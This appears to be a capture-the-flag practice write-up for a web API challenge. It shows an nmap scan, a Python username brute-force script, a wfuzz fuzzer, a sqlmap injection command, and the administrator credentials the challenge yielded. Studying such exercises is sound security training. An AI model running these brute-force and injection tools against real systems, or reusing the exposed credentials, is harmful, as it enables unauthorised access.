# ICC Athens Practice
## API
We found a nice target where some backend API communication is happening behind the scenes at
http://challenge-01.icsc.cybexer.io:8080.
Sometimes it is possible to extract valuable information by tampering some parameters.
Some dictionary attack may be used against index.php script and it seems that a web proxy is best tool for this job.
QUESTION
Can you reverse engineer messages and extract some information from this endpoint?
### RECON
#### nmap
```bash
$ nmap challenge-01.icsc.cybexer.io -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-26 12:01 EDT
Nmap scan report for challenge-01.icsc.cybexer.io (35.157.25.221)
Host is up (0.12s latency).
rDNS record for 35.157.25.221: ec2-35-157-25-221.eu-central-1.compute.amazonaws.com
Not shown: 991 filtered ports
PORT STATE SERVICE
81/tcp open hosts2-ns
82/tcp open xfer
83/tcp open mit-ml-dev
2222/tcp open EtherNetIP-1
2251/tcp open dif-port
2260/tcp closed apc-2260
2288/tcp closed netml
8080/tcp open http-proxy
8888/tcp open sun-answerbook
```
#### sun-answerbook exploit
might be useful? worth exploring imo : https://www.exploit-db.com/exploits/20144
# username wordlist
https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt
## bruteforce py script
```python
#!/usr/bin/env python3
import sys
import requests
users = requests.get('https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/names.txt')
for u in users.text.split('\n'):
res = requests.post(f'http://challenge-01.icsc.cybexer.io:8080?user={u}')
print(f'Trying with user {u}, response: {res.text}')
if not res.text.startswith('No user'):
sys.exit()
```
## fuzz with wfuzz and python
```python
import wfuzz
def main():
for r in wfuzz.fuzz(url="http://challenge-01.icsc.cybexer.io:8080/index.php", postdata="user=FUZZ", hc=[404], payloads=[("file",dict(fn="names.txt"))]):
if not "No user found" in r.content:
print(r.content)
return
# print(dir(r))
main()
```
## Inject w/sqlmap
```bash
$ sqlmap -u 'http://challenge-01.icsc.cybexer.io:8080?user=admin' -p "user" --level 5 --threads 10
```
https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt
```
Username: administrator<br>Password: terminator008<br>UserID: 1<br>IP: 127.0.0.1<br>Documentroot: /virtualadmin<br>
```